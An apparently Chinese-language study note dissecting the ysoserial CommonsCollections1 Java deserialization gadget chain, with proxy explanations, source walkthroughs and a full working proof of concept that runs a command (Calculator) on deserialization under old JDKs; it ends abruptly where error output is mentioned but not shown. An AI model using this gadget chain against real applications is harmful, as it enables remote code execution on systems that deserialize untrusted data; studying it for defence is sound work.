CommonsCollections1
这条是ysoserial中的CC1利用链。在ysoserial中没有用到TransformedMap,而是改用了LazyMap,并且使用到了Java对象代理。
- 这条链在Java 8u71以后就不能利用了,这里使用的环境是JDK8u66
- 取消勾选此处两个
Enable
IDEA中Debug时调试器会调用一些toString方法,从而造成非预期的命令执行
Java对象代理
Java对象代理,可以通过代理来操作一个真正的实例对象,通过代理模式来重写那些需要增强的原对象的方法
如果想劫持一个对象内部的方法调用,需要用到java.reflect.Proxy#newProxyInstance
- 第一个参数是
ClassLoader
,默认即可; - 第二个参数是我们需要代理的对象集合;
- 第三个参数是一个实现了
InvocationHandler
接口的对象,里面包含了具体代理的逻辑 ```java Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[] {Map.class}, handler );
创建一个代理类
```java
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.Map;
public class ExampleInvocationHandler implements InvocationHandler {
protected Map map;
public ExampleInvocationHandler(Map map) {
this.map = map;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable{
System.out.println("Hook Method: " + method.getName());
if (method.getName().compareTo("get") == 0) {
return "Hacked Object";
}
return method.invoke(this.map, args);
}
}
实现,创建一个App.java
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class App {
public static void main(String[] args) throws Exception {
InvocationHandler handler = new ExampleInvocationHandler(new HashMap());
// 实例化代理类
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
proxyMap.put("hello", "world");
// 当方法为get时触发代理类中的函数
String res = (String) proxyMap.get("hello");
System.out.println(res);
}
}
/* 输出结果
Hook Method: put
Hook Method: get
Hacked Object
*/
这里可以看到
- 动态代理对象
proxyMap
调用的方法都会被转发InvocationHandler
接口类的invoke()
方法进行处理,如这里的put()/get()
- 另外调用
get()
时触发函数,劫持返回内容,输出了Hacked
而不是world
LazyMap
之前以为这就是在解决CommonCollections1这个利用链在高版本Java中不可用的问题。其实不然,即使使用LazyMap仍然无法在高版本的Java中使用这条利用链,主要原因还是出在
AnnotationInvocationHandler
这个类的修改上
LazyMap的漏洞触发点和TransformedMap唯一的差别是:
- TransformedMap是在写入元素的时候执行
transform
而LazyMap是在其
get
方法中执行的factory.transform()
。LazyMap在get
找不到值时,就会调用transform
去获取一个值构造POC
LazyMap和TransformedMap都来自Common-Collections库,并继承AbstractMapDecorator。需要现在LazyMap中找到调用transform方法的地方
这里可以复用
CommonCollections
的前半段POC,TransformedMap
改为LazyMap
,运行一下可以正常弹出计算器 ```java import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap; import java.util.Map;
public class CommonCollections1 { public static void main(String[] args) throws Exception { Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer( “getMethod”, new Class[]{String.class, Class[].class}, new Object[] {“getRuntime”, new Class[0]} ), new InvokerTransformer( “invoke”, new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]} ),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
outerMap.get("test");
}
}
![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1649665202283-e2f52cb4-3064-43ec-be0e-2b20fb1a9cb5.png#clientId=uba2b028a-e33a-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=348&id=vAGFb&margin=%5Bobject%20Object%5D&name=image.png&originHeight=695&originWidth=1191&originalType=binary&ratio=1&rotation=0&showTitle=false&size=173314&status=done&style=none&taskId=u199feeef-76a8-4750-a24a-cb5746becc0&title=&width=595.5)
<a name="gF4IT"></a>
### 寻找漏洞触发点
- 跟入`LazyMap.decorate`方法,此处调用`LazyMap`的构造函数,传入的`Transformer`赋值给`factory`变量
```java
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
在下面的
get()
方法中触发了transform()
,但前提条件是LazyMap在get
找不到值,即Key不在Map中,才会进入if
循环,调用transform
去获取一个Value并放入Map中public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
但
AnnotationInvocationHandler
的readObject
方法中没有直接调用到Map的get()
,而是在invoke()
方法中进行了调用 ```java public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals(“equals”) && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError(“Too many parameters for an annotation method”); } else { byte var7 = -1; switch(var4.hashCode()) {case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
}
switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
} } }
整理一下,这里大致利用路径为:
- `AnnotationInvocationHandler.readObject()`
- `AnnotationInvocationHandler.invoke()`
- `LazyMap.get()`
- `ChainedTransformer.transform()`
- 剩余的几条`Transformer`
```java
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
那么如何调用invoke
呢,此时就需要用到了Java的对象代理
回看
sun.reflect.annotation.AnnotationInvocationHandler
,会发现实际上这个类就是一个InvocationHandler。如果将这个对象用Proxy进行代理,那么在readObject
的时候,只要调用任意方法,就会进入到AnnotationInvocationHandler#invoke
方法中,进而触发我们的LazyMap#get
修改POC
前面的POC跟上一篇的Demo一样,都是手动触发漏洞。这里需要构造为
readObject
触发利用链
- 先注释触发漏洞的
get()
方法,然后实现AnnotationInvocationHandler
的Proxy
代理类 ```java // outerMap.get(“test”);
// 获取AnnotationInvocationHandler的构造函数 Class clazz = Class.forName(“sun.reflect.annotation.AnnotationInvocationHandler”); Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true);
// 利用构造函数实例化,创建与outerMap关联的InvocationHandler InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
// 实例化代理对象,proxyMap调用的方法都会被转发InvocationHandler#invoke方法 Map proxyMap = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[] {Map.class}, handler );
![image.png](https://cdn.nlark.com/yuque/0/2022/png/520228/1649667916875-3c6cb3ef-3e0b-4492-8fdc-da3a07e785db.png#clientId=u7e14e1b9-8615-4&crop=0&crop=0&crop=1&crop=1&from=paste&height=351&id=uce502753&margin=%5Bobject%20Object%5D&name=image.png&originHeight=702&originWidth=1560&originalType=binary&ratio=1&rotation=0&showTitle=true&size=237639&status=done&style=none&taskId=u1efc010c-c019-4b0d-9476-c571a671c6d&title=%E5%AF%B9%E6%AF%94%E9%85%8D%E5%9B%BE&width=780 "对比配图")
- 此时直接对`proxyMap`进行序列化是不会执行命令的,因为前面创建的是与`outerMap`关联的`InvocationHandler`(第9行),因此需要再用`AnnotationInvocationHandler`对这个`proxyMap`进行包裹
```java
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
- 后续再构造序列化和反序列的操作,另外前文说了,LazyMap仍然无法解决CommonCollections1这条利用链在高版本Java(8u71以后)中的使用问题,所以这里需要在8u71之前的版本才能成功运行并弹出计算器
完整代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[] {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}
),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
// 获取AnnotationInvocationHandler的构造函数
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
// 利用构造函数实例化,创建与outerMap关联的InvocationHandler
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, outerMap);
// 实例化代理对象
Map proxyMap = (Map) Proxy.newProxyInstance(
Map.class.getClassLoader(),
new Class[] {Map.class},
handler
);
// 使用InvocationHandler对proxyMap重新包裹
handler = (InvocationHandler) constructor.newInstance(Retention.class, proxyMap);
// Serialization
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(handler);
System.out.println(baos);
// Deserialization
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object o = (Object) ois.readObject();
ois.close();
bais.close();
oos.close();
baos.close();
}
}
其它
- 发现ysoserial中的Transformer数组最后增加了一个
ConstantTransformer(1)
前面的POC运行后报错如下:final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer(
"invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
new InvokerTransformer(
"exec",
new Class[] { String.class },
execArgs
),
new ConstantTransformer(1)
};
添加ConstantTransformer(1)
后报错如下: